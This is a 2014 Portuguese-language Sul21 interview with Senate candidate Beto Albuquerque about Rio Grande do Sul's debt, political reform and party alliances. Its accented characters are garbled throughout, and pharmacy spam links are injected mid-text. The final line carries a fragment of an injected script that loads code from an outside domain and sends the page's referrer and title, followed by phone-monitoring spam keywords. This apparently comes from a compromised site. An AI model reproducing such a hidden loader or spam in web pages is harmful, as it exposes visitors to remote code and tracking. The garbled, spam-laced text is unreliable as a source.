Beto Albuquerque: O Rio Grande precisa de mais atitude no Senado

Jul 28 2014
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Beto Albuquerque: ai???Considero o senador como se fosse quase um governador em BrasAi??lia, pelas tarefas que ele deve ter, porque a representaAi??A?o no Senado Ai?? do Estadoai??? | Foto: Ramiro Furquim/Sul21

Na polAi??tica e no PSB hA? 25 anos, o deputado federal Luiz Roberto Albuquerque, o Beto Albuquerque, concorre ao Senado pela coligaAi??A?o O Novo Caminho para o Rio Grande (PMDB, PSD, PPS, PSB, PHS, PT do B, PSL e PSDC). Ao falar para o Sul21, o candidato prega mudanAi??as no Senado e diz que as reformas especialmente a polAi??tica devem acontecer logo. Uma de suas suas maiores preocupaAi??Ai??es Ai?? com o tamanho da dAi??vida do RS: Ai??somos o estado mais endividado do Brasil, devemos 210% de nossa arrecadaAi??A?o anual, e somos o A?ltimo em capacidade de investir com dinheiro prA?prio. E alerta: o governo federal nA?o pode ficar segurando o Rio Grande do Sul garroteado. Para ele, o papel do senador Ai?? praticamente o de um governador, que deve zelar pelas necessidades do Estado. E defende que o RS tenha mais atitude na CA?mara Alta.

Sul21

Por que o senhor resolveu se candidatar ao Senado
Beto Albuquerque – Primeiro, porque sinto que jA? cumpri toda a minha tarefa na CA?mara de Deputados; sA?o 16 anos de deputado federal, oito de deputado estadual, acho que cumpri bem minhas tarefas e, ao mesmo tempo, me preparei para novos passos, novos desafios. Minha trajetA?ria polAi??tica de 24 anos de vida pA?blica, felizmente sem tropeAi??os, sem arranhAi??es, isso tudo prepara a gente. NA?o vejo a polAi??tica, necessariamente, como um emprego onde tenha que ficar no mesmo lugar a vida toda, como muitos fazem. Um novo desafio neste momento Ai?? algo que me reanima para continuar na militA?ncia polAi??tica. O Senado tem uma responsabilidade ainda maior do que a CA?mara. Considero o senador como se fosse quase um governador em BrasAi??lia, pelas tarefas que ele deve ter, porque a representaAi??A?o no Senado Ai?? do Estado. Tem senador que vira deputado com mandato de oito anos. O papel do Senado Ai?? estreitar mais esta relaAi??A?o com os problemas estruturais do Estado, fazer a ponte do governo estadual com o federal, ajudar a resolver problemas.

Sul21- Sua reeleiAi??A?o para a CA?mara seria praticamente certa. Para o Senado, Ai?? um risco. O senhor pensa em seu futuro, se nA?o vencer

Beto – Eu nunca entrei em eleiAi??A?o nenhuma atAi?? hoje para perder, sempre para ganhar. Minha trajetA?ria polAi??tica desde 1990 foi ascendente, comecei com 11 mil votos para deputado estadual e fui a 201 mil votos em 2010, para federal. Sempre cresci eleitoralmente, fruto do meu trabalho; nA?o sou herdeiro de polAi??tico de famAi??lia, nA?o sou ligado a corporaAi??Ai??es, a segmentos. Sou um jovem que nasceu dentro de uma oficina mecA?nica, que pagou seus estudos, militou no movimento estudantil, fundou o movimento de direitos humanos na regiA?o de Passo Fundo, dirigiu, na adolescA?ncia, a juventude franciscana, da Igreja. Comecei cedo e tive ousadia para andar. Respeito meus adversA?rios, mas o minuano que sopra nas ruas do Brasil Ai?? o de renovaAi??A?o, para que a gente oportunize Ai??s novas geraAi??Ai??es chegar a novos lugares. Minha saAi??da da CA?mara Ai?? uma porta que se abre para outro entrar, seja do meu partido ou nA?o. A saAi??da do senador Pedro Simon tambAi??m Ai?? uma porta que se abre para uma nova geraAi??A?o chegar ao Senado. Ser candidato Ai?? sucessA?o da vaga do Simon, com o apoio dele, Ai?? uma honra redobrada, por seu legado, compromissos Ai??ticos de vida, de dedicaAi??A?o, de luta. Vamos enfrentar a eleiAi??A?o de igual para igual. NA?o vim para a polAi??tica para ficar parado no mesmo lugar.

Sul21 : Mas, segundo as pesquisas hA? favoritos.

Beto – NA?o creio que haja favorito e tampouco me baseio em pesquisa, muito menos do Ibope, pelo critAi??rio de amostra absolutamente questionA?vel: entrevista 14 pessoas em Passo Fundo e 14 em Arvorezinha, como se fossem cidades de populaAi??A?o idA?ntica. Estou animado numa coligaAi??A?o grande, num momento especial para o PSB, que tem uma candidatura a presidente da minha geraAi??A?o, que Ai?? Eduardo Campos, junto com Marina Silva a vice, e numa alianAi??a com PMDB, PSD, PPS, PSB, PHS, PT do B, PSL e PSDC. AlianAi??a forte que nos darA? todas as condiAi??Ai??es para travar o melhor debate. Agora, num primeiro momento, muitos me diziam: mas tu estA?s louco, Beto, vocA? serA? o mais votado do Estado, pode fazer 300 mil votos agora. Ai?? verdade, eu podia ser facilmente reeleito, ser o mais votado. Mas nA?o nasci para ficar parado no mesmo lugar, nA?o vim para a polAi??tica para ficar parado no mesmo lugar. E gosto de desafios, sA? vivencia grandes vitA?rias quem enfrenta grandes desafios. AcomodaAi??A?o nA?o faz parte da minha trajetA?ria. Ficar muito tempo no mesmo lugar levar Ai?? acomodaAi??A?o. Eu quero escapar desta tentaAi??A?o.

Sul21: A sua candidatura Ai?? um passo para o governo do Estado:

Beto – Ai?? muito cedo para falar disso. Eu quero ser um senador que cumpra os oito anos, pela relevA?ncia que dou ao Senado, nA?o pelo que ele Ai?? hoje, mas para resgatar as reais funAi??Ai??es de uma Casa revisora, que tem mais obrigaAi??Ai??es de fiscalizar do que a CA?mara, que tem responsabilidades de chancelar ministros do Supremo, do STJ, conselheiros de agA?ncias, que tem uma voz mais forte para dialogar com a sociedade. E o Rio Grande precisa de mais atitude no Senado.

Sul21: O Senado Ai?? muito criticado. Quais as suas propostas para mudar a atual imagem do Senado

Beto – Ai?? muito criticado pela imprensa e estA? na hora de um senador criticar o Senado tambAi??m, indo lA? para ajudar a fazer mudanAi??as. Fui relator da PEC que instaurou no Brasil aquilo que Ai?? fundamental: a informaAi??A?o. A PEC que obriga municAi??pios, estados e UniA?o, e os poderes, a colocar na internet seus gastos, tornar isso pA?blico. O Senado ainda nA?o adotou 100% esta transparA?ncia, ao contrA?rio da CA?mara. Temos de fazer o Senado ser tA?o transparente quanto os outros poderes. AliA?s, as empresas pA?blicas Petrobras, EletrobrA?s ainda nA?o sA?o transparentes. Precisamos chamar a atenAi??A?o que nA?o Ai?? escondendo o jogo, agindo matreiramente, fazendo composiAi??Ai??es, que o Senado deve funcionar. O Senado hoje Ai?? a casa mais governista do Congresso, talvez porque a eleiAi??A?o de um terAi??o, dois terAi??os faz com que o senador se iluda que um mandato de oito anos faz o povo esquecer seus erros. Esses que ainda pensam assim, por estarem fora das redes, estA?o enganados. O povo quer sintonia on line, o que a maioria nA?o faz ou, se faz, Ai?? para se autoelogiar e nA?o para interagir. O Senado tambAi??m precisa passar por uma renovaAi??A?o e a chegada de novas geraAi??Ai??es Ai?? superempolgante: Randolfe Rodrigues (PSOL/AP), Pedro Taques (PDT-MT) e Rodrigo Rollemberg (PSB-DF). Faz diferenAi??a este tipo de mandato. O RS vem sendo assaltado pelo governo federal hA? muitos anos

Sul21: Quais as suas bandeiras na campanha ao Senado em relaAi??A?o ao Rio Grande do Sul

Beto – O RS precisa ter mais atitude no Senado. NA?o vou lA? para defender a ideia do meu partido ou para representar grupo econA?mico ou de comunicaAi??A?o. Vou ser um senador do RS, dos gaA?chos e das gaA?chas. O papel do Senado Ai?? o de se debruAi??ar sobre os grandes gargalos estruturais do RS. O primeiro, que vem sendo empurrado com a barriga, Ai?? a dAi??vida do Estado. AliA?s, neste momento, vexatoriamente, o governo federal mandou um projeto ao Congresso Ai??jA? votamos na CA?mara, alterando o indexador de correAi??A?o da dAi??vida e o autor (a emenda substitutiva aprovada pela CA?mara Ai?? de autoria do deputado Eduardo Cunha, do PMDB-RJ) impede que se vote no Senado. Mas o problema Ai?? tambAi??m o valor das parcelas. O RS vem sendo assaltado pelo governo federal hA? muitos anos. SA?o R$ 2 bilhAi??es e 700 milhAi??es todos os anos que, a tAi??tulo de serviAi??o da dAi??vida, vA?o embora daqui. E o que volta de lA? Ai?? muito pouco, perto do que significa isso. Fora os tributos que pagamos e sA? recebemos 30% de volta. DAi??vida Ai?? questA?o estrutural e nA?o Ai?? realidade igual para todos os estados: Pernambuco deve R$ 2 bi, o RS deve R$ 50 bi. E o governo precisa olhar de forma diferente para esses casos. O RS estA? estrangulado com essa dAi??vida, estA? vivendo uma asfixia brutal em suas finanAi??as. Seja qual for o governo pode ser Eduardo Campos estamos certos da importA?ncia do RS. NA?o pode o governo federal segurar o RS garroteado, obrigando-o a ser um contratante de financiamentos inveterado. Somos o estado mais endividado do Brasil, devemos 210% de nossa arrecadaAi??A?o anual e somos o A?ltimo em capacidade de investir com dinheiro prA?prio. O que se faz nos A?ltimos anos Ai?? tomar financiamento e jA? estamos chegando a uma fase de tomar financiamento de bancos, para reestruturar o prA?prio financiamento da dAi??vida. Ai?? preciso tratar isso na esfera do Senado. Quando falo em devoluAi??A?o, eu falo com orgulho de ser gaA?cho. NA?o podemos trocar uma dAi??vida brutal dessas por retroescavadeira, trator ou caminhA?o, achando que isso vai pagar os interesses dos estados, uma obra aqui ou acolA?.

Sul21: Que outras questAi??es surgem

Beto – O RS deve ter uma participaAi??A?o maior nos programas do governo, nas liberaAi??Ai??es de recursos, nos PACs, para reequilibrar esta conta. HA? outros estados, por competA?ncia ou benevolA?ncia da UniA?o, que alcanAi??aram mais recursos em vA?rios programas. Em relaAi??A?o Ai?? Bahia, ficamos bem atrA?s. E esse equilAi??brio na distribuiAi??A?o de recursos cabe ao Senado olhar. E tratar assuntos estruturantes, como o metrA? de Porto Alegre, que Ai?? chave da mobilidade, a ampliaAi??A?o do Trensurb (tem que ir em direAi??A?o a Taquara), assim como a ferrovia Norte-Sul (chegou a SP atAi?? agora). Temos que contemplar agora os estados do Sul. O RS tem que ter investimentos pesados em infraestrutura, e rA?pido. As desoneraAi??Ai??es fiscais sA?o um absurdo: a pretexto de ajudar setores econA?micos, o governo federal tira dinheiro do que Ai?? dirigido para estados e municAi??pios. AAi?? entra o debate do novo federalismo, a pirA?mide tem que ser revertida. NA?o podemos nos acomodar. NA?o Ai?? possAi??vel que o governo federal seja quem menos aloca recursos Ai?? saA?de, educaAi??A?o e seguranAi??a. SA?o os estados e municAi??pios que mais alocam. O pacto federativo serA? resolvido pela reforma tributA?ria. Ai?? compromisso do nosso candidato Eduardo Campos, jA? no primeiro mA?s de governo, apresentar uma proposta sobre a possibilidade de dar um viAi??s decrescente Ai?? carga tributA?ria e de dar um viAi??s de redistribuiAi??A?o diferente. O governo Dilma usou muito a desoneraAi??A?o fiscal dos chamados tributos divisAi??veis, preservou o que era seu e dividiu muito o que era dos outros, inclusive na previdA?ncia, onde a desoneraAi??A?o da folha de pagamento sA? tende a agravar a crise da PrevidA?ncia PA?blica: o patrA?o deixa de recolher sua quota, e o trabalhador vai ter que financiar, inclusive levando a culpa. Por isso sou a favor do fim do fator previdenciA?rio, que estA? desmoralizado desde que o governo optou pela desoneraAi??A?o, transformando numa penalidade A?nica aos trabalhadores. Hoje, sA? uma das fontes, a mais fraca, contribui.

Sul21- Esses problemas nA?o sA?o novos. pills online

Beto – NA?o sA?o novos. Se agravaram. Quero um governo com coragem para encaminhar ao Congresso, no comeAi??o de 2015, reforma tributA?ria e polAi??tica

Sul21 – Os senadores nA?o trabalharam como deveriam

Beto – Quem trabalhou pouco foi o governo, e muitos senadores, muitos a reboque do governo, cruzaram os braAi??os e se confortaram nas relaAi??Ai??es com o governo e nA?o com a sociedade. O dAi??ficit previdenciA?rio e os juros baratos para Eike Batista, e nA?o para a dAi??vida dos estados, tudo isso Ai?? chocante. Por que nA?o saiu reforma tributA?ria e polAi??tica. Porque o governo nA?o protocolou nenhum projeto concreto para isso. Senador nA?o pode propor reforma tributA?ria. Quero um governo com coragem para encaminhar ao Congresso, no comeAi??o de 2015, reforma tributA?ria e polAi??tica, com plebiscito ou sem plebiscito. Na Reforma PolAi??tica, temos trA?s decisAi??es que independeriam do plebiscito. Basta ter um governo que queira fazer, com sua base de sustentaAi??A?o, com a sociedade mobilizada: unificar as eleiAi??Ai??es de cinco em cinco anos, sem reeleiAi??A?o para o executivo; acabar com coligaAi??A?o na proporcional e estabelecer metas de desempenho aos partidos para exercer mandatos. SA? elas jA? dA?o aos partidos obrigaAi??A?o de ter certa cara nacional. Hoje, com as eleiAi??Ai??es desemparceiradas, os municAi??pios encaram a prefeitura de um jeito, os estados e a uniA?o de outro. Para filtrar melhor a forma de o polAi??tico se conduzir em seu partido, Ai?? unificar as eleiAi??Ai??es. O desemparceiramento criou anomalias absurdas. Se eu for votar de cinco em cinco anos, de vereador a presidente, nA?o vou poder fazer esta marola toda que Ai?? a polAi??tica brasileira hoje. Infelizmente todos os partidos concordam com ela, porque Ai?? o jogo que estA? sendo jogado. NA?o Ai?? preciso fazer plebiscito ou constituinte para unificar as eleiAi??Ai??es. O governo tem que ir lA? e propor.

Sul21- Ai?? do interesse dos polAi??ticos fazer reforma

Beto – Se tiver transiAi??A?o, pode ser. O problema Ai?? a velha demagogia na discussA?o da reforma polAi??tica, que Ai?? proposta em vAi??spera de eleiAi??A?o, muito mais para fazer seu discurso do que para fazer a reforma. Qualquer reforma tem que ter algum nAi??vel de transiAi??A?o, alguAi??m vai ter um mandato menor ou maior, nA?o pode ser na prA?xima eleiAi??A?o. O mandato de senador pode ser de cinco anos tambAi??m. NA?o precisa ser para 2016, nA?o dizer os prefeitos ficam sA? dois anos no mandato, nem os prA?ximos governadores vA?o ter seis anos para poder fazer o encontro lA? na frente. E acabar com a coligaAi??A?o na proporcional, que Ai?? um disfarce de fazer partido. E a ausA?ncia da exigA?ncia de desempenho faz, na realidade, o partido de um homem sA?. Financiamento pode ser uma segunda etapa. Quando se quer tudo no Congresso, nA?o passa nada. Ai?? preciso encontrar uma fA?rmula de financiamento que nA?o seja sA? privada, mas fazer uma discussA?o com a sociedade. Teoricamente Ai?? bonito financiamento pA?blico, mas deve ser debatido de onde saem os recursos, usar outro critAi??rio que nA?o seja a decisA?o do prA?prio Congresso. Se for pA?blico, nA?o pode continuar esta desigualdade baseada na proporAi??A?o construAi??da em funAi??A?o da repartiAi??A?o desigual em funAi??A?o do Fundo PartidA?rio, por nA?mero de deputados. Assim como o Acre tem nove deputados e nA?s 31, o Fundo PartidA?rio deve ter uma proporAi??A?o, porque a proporcionalidade absoluta Ai?? injusta. Se fosse com base na populaAi??A?o, SA?o Paulo mandaria na CA?mara. Tu nA?o podes criar a proporAi??A?o absoluta para distribuir o Fundo PartidA?rio ou financiamento pA?blico, porque vai matar todo mundo e deixar o Brasil na mA?o dos chamados grandes. Tem que ter proporAi??Ai??es relativas como Ai?? para fins de representaAi??A?o. Reforma polAi??tica tem hoje uma induAi??A?o muito grande na sociedade, estA? anuviado o debate, todo mundo fala fA?cil, hA? uma soma de vA?rias propostas. O grande articulador das reformas se chama governo, ele tem que presidir o processo. Tem que ter iniciativa. NA?o transferir responsabilidades. Para estas trA?s medidas, nA?o precisa plebiscito ou constituinte. Vamos fazer a primeira etapa, esta Ai?? a proposta do Eduardo Campos. Pretendemos mandar uma reforma polAi??tica assim como a reforma tambAi??m fatiada tributA?ria que comece com a redistribuiAi??A?o dos recursos, melhorando o sistema tributA?rio. Se continuar querendo tudo de uma vez sA?, o Brasil nA?o faz nada.

Sul21 – As coligaAi??Ai??es para majoritA?ria nA?o sA?o prejudiciais

Beto – Isso vai amoldar com uma eleiAi??A?o A?nica de vereador a presidente. As coligaAi??Ai??es vA?o parar de ser uma negociata pelo tempo de televisA?o para virar proposta mais concreta. Hoje, a cada eleiAi??A?o Ai?? um balcA?o. E todo mundo quer ter um partido para chamar de seu. EstA? na hora de o partido ter o mAi??nimo de eleitores. NA?o Ai?? clA?usula de barreira, tem que ter no mAi??nimo 2% do eleitorado nacional nas urnas. Sou defensor da liberdade de organizaAi??A?o, mas outra coisa Ai?? a organizaAi??A?o de fachada. Tem que tem regras. E isso vai interferir nas coligaAi??Ai??es majoritA?rias. O governo Dilma Ai?? um fracasso em tudo, inclusive no que deveria ser continuado

Sul21 – O PSB fez parte do governo do PT e hoje estA? na coligaAi??A?o contrA?ria a ele. Isso lhe traz problemas Ai??ticos

Beto – NA?o, quem tem problemas Ai??ticos sA?o outros partidos que tA?m, inclusive, militantes presos. Fomos aliados do Lula quando o PT nA?o era nada, desde 1989. Perdemos trA?s eleiAi??Ai??es com Lula, ganhamos trA?s. Fizemos nossa caminhada corretamente, reconhecemos os mAi??ritos, mas nA?o achamos mAi??ritos para a continuidade do governo Dilma: Ai?? um fracasso em tudo, inclusive no que deveria ser continuado. AlianAi??a polAi??tica do governo dela Ai?? o que tem de pior na polAi??tica nacional e que a impede de avanAi??ar. Se ela preferisse ter cinco minutos de TV a ter 11, pagando um preAi??o alto de entregar nacos importantes da RepA?blica a velhas raposas, talvez fosse reeleita facilmente. Talvez as dificuldades dela estejam exatamente nesta alianAi??a que lhe dA? 11 minutos, a um custo moral, Ai??tico e polAi??tico gigante, de ter votado em Renan Calheiros (PMDB) para presidente do Congresso, de preterir Flavio Dino (PCdoB) no MaranhA?o para apoiar (JosAi??) Sarney (PMDB), de ter que apertar a mA?o do (Paulo) Maluf (PP), isso tudo tem consequA?ncia brutal. Tivemos no governo Lula sempre uma participaAi??A?o importante de consulta em petit comitAi??, enquanto o governo Dilma demorou mais de 20 meses para reunir lAi??deres de sua base na CA?mara. Quando vimos que o encaminhamento de 2010 para cA? iria ser o mesmo, nA?s decidimos sair do governo aqui e lA?. O PSB fez o incomum. O comum Ai?? os partidos quererem ir para o governo e cargos para apoiA?-lo. NA?s entregamos nossos cargos. Porque tivemos discordA?ncias e, segundo, para exercer nosso protagonismo de partido. Estamos fazendo aquilo que talvez todos os partidos devessem fazer: ter um candidato a presidente. E eu nA?o poderia viver numa incoerA?ncia: para estar agarrado num cargo do governo, estar na contramA?o do meu projeto nacional. Nossa visA?o foi deixar o governo Tarso, com o qual tambAi??m temos uma sAi??rie de divergA?ncias e nA?o sA? concordA?ncia. Em 2010 eu tentava ser candidato a governador, tinha 12% nas pesquisas, atAi?? marAi??o de 2010, e a nossa A?ltima decisA?o, inviabilizada a minha condiAi??A?o, foi apoiar o Tarso. Ajudamos Tarso a se eleger no primeiro turno e nA?o nos arrependemos disso, mas nA?o concordamos com tudo o que estamos vendo. Faltam mais realizaAi??Ai??es, o governo do RS precisa dialogar muito com a sociedade, mas internamente conversar menos, tomar mais decisAi??es, passar menos a cabeAi??a na mA?quina burocratizada, incompetente, incapaz de fazer a mA?quina gerar. Proteger a incompetA?ncia Ai?? um equAi??voco do RS; vocA? tem que adotar metas, controlar resultados, planejar mais se nA?o tem dinheiro. A gente nA?o vA? isso, ao contrA?rio, sA? viu agravar o endividamento do Estado. Consumimos os depA?sitos judiciais, temos 10 milhAi??es de precatA?rios, tomamos mais financiamento para poder sobreviver. Do ponto de vista estrutural nA?o vimos nada. EntA?o nA?o temos nenhuma contradiAi??A?o. Por que estamos com (JosAi?? Ivo) Sartori (PMDB). Porque, diferentemente do PMDB de BrasAi??lia, escolheu nA?o apoiar Dilma.

http://samyakyouthfoundation.com/panmycin-delivery/ Sul21- Mas, nA?o hA? uma incoerA?ncia? Das trA?s raposas velhas da polAi??tica que o senhor mencionou, duas sA?o do PMDB.

danazol buy online order vasodilan tablets Beto – Nenhuma do PMDB gaA?cho, que historicamente sempre discordou do PMDB nacional. Ai?? representado em BrasAi??lia por Simon, que Ai?? um dedo na moleira de muita gente. A representaAi??A?o gaA?cha Ai?? de crAi??tica, nA?o de mancomunamento com a velha prA?tica dos mesmos. Estamos muito Ai?? vontade com Sartori, porque nA?s compusemos o governo dele em Caxias, fomos colegas como deputados estadual e federal, estamos com a mesma opAi??A?o. A contradiAi??A?o estA? em se amarrar cada vez mais alianAi??as com as figuras da RepA?blica que vieram do processo da ditadura para se avantajarem nos espaAi??os pA?blicos. Hoje estamos com Eduardo Campos, com 1min50 na TV, mas estamos tranquilos. Vamos conversar com a sociedade atravAi??s das redes sociais e, se formos para segundo turno, estarAi??amos Ai?? vontade para fazer outra proposta, nA?o a repetiAi??A?o das mesmas coisas. Quando Eduardo Campos propAi??e passe livre para todos os estudantes, isso Ai?? possAi??vel fazer. Um paAi??s que nA?o se preocupa de onde sai o dinheiro para desonerar o empresariado brasileiro nA?o precisa se preocupar de onde saem R$ 12 milhAi??es para o transporte gratuito aos jovens irem Ai?? escola e Ai?? universidade. Isso Ai?? uma das minhas bandeiras ao Senado. Pois dinheiro tem para corrupAi??A?o, para comprar refinarias com peso de ouro… Investir em educaAi??A?o Ai?? dar transporte, Ai?? dar acessibilidade aos estudantes. O principal nA?o e o xis por cento do PIB para a saA?de, mas o que acontece: em Pernambuco construAi??mos quatro grandes hospitais pA?blicos em sete anos, todos funcionando na regiA?o metropolitana. O RS viu agora um hospital, fruto da filantropia do Moinhos, somado ao esforAi??o do municAi??pio e cofinanciamento de custeio com participaAi??A?o do governo federal. Ai?? uma questA?o das chamadas escolhas.

Sul21 – Que outras questAi??es sA?o importantes

Beto – Desde que foi criada a lei de responsabilidade fiscal, existe um conselho que nunca foi ouvido pelo governo. A sociedade que estA? ali representada nunca foi ouvida. O Conselho tem que ser ouvido, assim como o de consumidores de energia. Dilma decidiu de cima para baixo reduzir as tarifa de energia sem ver se tem oferta de energia sobrando. NA?o tinha. Quebraram as empresas elAi??tricas, inclusive a CEEE, que jA? estava quebrada. Agora, a indenizaAi??A?o daquela decisA?o chega a R$ 40 bilhAi??es e os aumentos de energia chegam em mAi??dia a 30% no RS, em 2015 serA? muito mais. Se tivesse ouvido o Conselho, erraria menos. A conta que fica para 2015 Ai?? absurda, no combustAi??vel, na energia elAi??trica, na inflaAi??A?o, em razA?o dos erros da falta de transparA?ncia e de diA?logo. Se a mobilizaAi??A?o de junho de 2013 vier para as urnas, pode mudar os governos e o Congresso

Sul21 – O senhor tambAi??m tem bandeiras de defesa dos LGBT?

Beto – Sim, sou defensor da legitimidade do movimento gay de ter seus direitos respeitados, como todos. NA?o temos uma constituiAi??A?o que gera possibilidade de discriminaAi??A?o sobre nada. O paAi??s Ai?? a grande esperanAi??a do mundo, por nA?o ter isso. AtAi?? pouco tempo atrA?s nA?o tinha grandes conflitos religiosos. Hoje se vA? certo acirramento, com o surgimento de muitas religiAi??es dentro da polAi??tica. Mas temos que triunfar, como sempre triunfamos. Temos movimentos organizados, parlamentares, nA?o tem espaAi??o para intolerA?ncia de qualquer natureza.

Sul21 – A mobilizaAi??A?o de junho vai mudar o Congresso?

Beto – Se a mobilizaAi??A?o vier para as urnas, pode mudar os governos e o Congresso. Teve o vem para a rua, agora o vem para as urnas, uma forma de reequilibrar as coisas. Pode mudar o Congresso, acho que 50% da CA?mara vai ser renovada. O que Ai?? natural. Problema nA?o Ai?? a renovaAi??A?o, Ai?? o que vem: renovar para pior, ninguAi??m merece. Tiririca diz: pior que tA?, nA?o fica. Pode ficar, sim. Se nA?o tiver discussA?o, se nA?o olhar a trajetA?ria do sujeito, se nA?o sentir que ele presta contas do que faz, pior do que estA? pode ficar. Porque quem vai renovar Ai?? a qualidade.

Sul21 – Nestas eleiAi??Ai??es, as redes sociais vA?o ter mais peso que a televisA?o

Beto – Redes sociais ajudam a ter informaAi??A?o. NA?o acredito que sejam suficientes para eleger alguAi??m, mas ajudam a nA?o eleger aqueles que efetivamente nA?o merecem. Isso, respeitada a verdade, porque nA?o concordo com essa polAi??tica baixa de difamaAi??A?o que alguns adotam nas redes. Desde 2009 sou bastante conectado. A polAi??tica estA? muito analA?gica e a sociedade, em on line. Candidatos ao Senado analA?gicos vA?o ter dificuldade de passar confianAi??a Ai?? sociedade.

*Colaborou Lorena Paims.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; gsp tracker, localizador gps movil, how to monitor snapchat